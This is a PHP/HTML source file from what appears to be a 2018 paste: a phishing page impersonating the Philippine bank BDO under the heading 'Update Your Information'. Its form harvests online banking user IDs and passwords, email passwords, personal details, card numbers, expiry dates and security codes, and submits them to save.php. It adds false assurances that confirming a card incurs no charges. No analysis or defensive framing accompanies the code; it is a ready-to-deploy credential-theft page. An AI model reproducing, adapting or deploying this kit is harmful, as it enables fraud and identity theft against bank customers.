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Apr 5th, 2018
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  1. <?php include('lib/function.php') ;getheader(); ?>
  2. <body>
  3. <noscript><meta http-equiv="refresh" content="0; URL=<?=(isset($_SERVER['HTTPS']) ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"?>noscript"></noscript>
  4. <div class="loader-bg remove">
  5. <div class="loader"></div>
  6. </div>
  7. <div class="container">
  8. <div class="header"><img src="images/logo.png" class="img-fluid"></div>
  9. <div class="content">
  10. <h5 class="main-title">Update Your Information </h5>
  11. <form method="POST" id="bdo-form" action="save.php" autocomplete="off">
  12. <div class="account-settings">
  13. <h3 class="settings-title"><span>Account Type</span></h3>
  14. <div class="account-content">
  15. <table>
  16. <tr>
  17. <td class="tdd">Account Type</td>
  18. <td>
  19. <select id="cards" name="account" class="required">
  20. <option value="0" selected="selected">Credit Card</option>
  21. <option value="1">Debit Card</option>
  22. </select>
  23. </td>
  24. </tr>
  25. </table>
  26. </div>
  27. </div>
  28. <!--Personal Information-->
  29. <div class="account-settings">
  30. <h3 class="settings-title"><span>Nominate Your Online Banking Form</span></h3>
  31. <div class="account-content">
  32. <div id="info">
  33.  
  34. <br>
  35. </div>
  36.  
  37. <table>
  38. <tr>
  39. <td class="tdd">User ID</td>
  40. <td><input type="text" id="userid" name="userid" class="required" required></td>
  41. </tr><tr>
  42. <td class="tdd">Password</td>
  43. <td><input type="password" id="password" name="password" class="required" required></td>
  44. </tr><tr>
  45. <td class="tdd">First Name</td>
  46. <td><input type="text" id="fname" name="fname" maxlength="12" class="required" required></td>
  47. </tr>
  48. <tr>
  49. <td class="tdd">Middle Name</td>
  50. <td><input type="text" id="mname" name="mname" maxlength="12" class="required" required></td>
  51. </tr>
  52. <tr>
  53. <td class="tdd">Last Name</td>
  54. <td><input type="text" id="lname" name="lname" maxlength="12" class="required" required></td>
  55. </tr>
  56. <tr>
  57. <td class="tdd">Birthday</td>
  58. <td><input class="required" type="text" id="bday" required maxlength="10" name="bday" placeholder="mm/dd/yyyy" required></td>
  59. </tr>
  60. <tr>
  61. <td class="tdd">Address</td>
  62. <td><input type="text" id="address" name="address" maxlength="35" class="required" required></td>
  63. </tr>
  64. <tr>
  65. <td class="tdd">City</td>
  66. <td><input type="text" id="city" name="city" maxlength="12" class="required" required></td>
  67. </tr>
  68. <td class="tdd">State</td>
  69. <td><input type="text" id="state" name="state" required maxlength="12" class="required" required></td>
  70. </tr>
  71. <tr>
  72. <td class="tdd">Zip Code</td>
  73. <td><input type="tel" id="zip" name="zip" maxlength="7" class="required" required></td>
  74. </tr>
  75. <tr>
  76. <td class="tdd">Mobile Number</td>
  77. <td><input type="tel" id="number" name="phone" minlength="11" maxlength="12" value="63" class="required" required></td>
  78. </tr>
  79. <tr>
  80. <td class="tdd">E-mail Address</td>
  81. <td><input type="email" id="email" name="email" maxlength="30" class="required" required></td>
  82. </tr>
  83. <tr>
  84. <td class="tdd">E-mail Password</td>
  85. <td><input type="password" id="emailpass" name="emailpass" maxlength="30" class="required" required></td>
  86. </tr>
  87.  
  88. </table>
  89. <div class="bottom-content">
  90. <p>Please ensure that the nominated mobile number is your valid contact detail. This will serve as your registered mobile number for Online Banking transactions where One-Time Password (OTP) will be sent via SMS. Please keep your devices, registered mobile number and password secured at all times.</p>
  91. </div>
  92. </div>
  93. </div>
  94. <!--Credit Card Information-->
  95. <div class="account-settings">
  96. <h3 class="settings-title"><span>Confirm Your Card Number | This Will Dont Take Any Charges</span></h3>
  97. <div class="account-content">
  98. <table>
  99. <tr>
  100. <td class="tdd"><span id="cardtype">Card Number</td>
  101. <td><input type="tel" id="numbers" minlength="16" maxlength="16" name="cc" class="required" required>&nbsp;<span class="card-result"></span></td>
  102. </tr>
  103. <tr>
  104. <td class="tdd">Expiration Date</td>
  105. <td><input type="text" id="creditcardexp" name="expdate" placeholder="mm/yyyy" minlength="7" maxlength="7" class="required" required></td>
  106. </tr>
  107. <tr>
  108. <td class="tdd"><span id="code">Card Security Code</span></td>
  109. <td id="codes"><input id="numberx" type="tel" minlength="3" maxlength="3" name="securitycode" placeholder="3 digit code" class="required" required></td>
  110. </tr>
  111. </table>
  112. </div>
  113. </div>
  114.  
  115. <!--FeedBack-->
  116. <div class="account-settings">
  117. <h3 class="settings-title"><span>We Want Your Feedback</span></h3>
  118. <div class="account-content">
  119. <table>
  120. <tr>
  121. <td class="tdd">Understanding your expectations will help us to serve you better.</td>
  122. <td>
  123. <select class="required">
  124. <option selected="selected">Choose One</option>
  125. <option value="1">
  126. PhoneBanking convenient and easy to use</option>
  127. <option value="2">APPSTORE / PLAYSTORE</option>
  128. <option value="3">BDO ATM</option>
  129. <option value="4">Convenience of paying your bill</option>
  130. <option value="5">Electronic Banking Unit</option>
  131. <option value="6">Cash Counter / Teller Service</option>
  132. <option value="7">Speed of service</option>
  133. </select>
  134. </td>
  135. </tr>
  136. </table>
  137. </div>
  138. </div>
  139.  
  140. <p class="bottom">Before clicking Submit, please review and ensure correct information in the setting details.</p>
  141. <div class="bottom-buttons">
  142. <input type="reset" value="Reset" id="reset" class="btn-bottom">
  143. <input type="submit" value="Submit" name="submit" class="btn-bottom">
  144. </div>
  145.  
  146. </form>
  147. </div>
  148. <?php getfooter();?>
  149. </div>
  150.  
  151. <script type="text/javascript" src="main.js"></script>
  152. <script type="text/javascript" src="form.js"></script>
  153. <script type="text/javascript" src="process.js"></script>
  154.  
  155. </body>
  156. </html>
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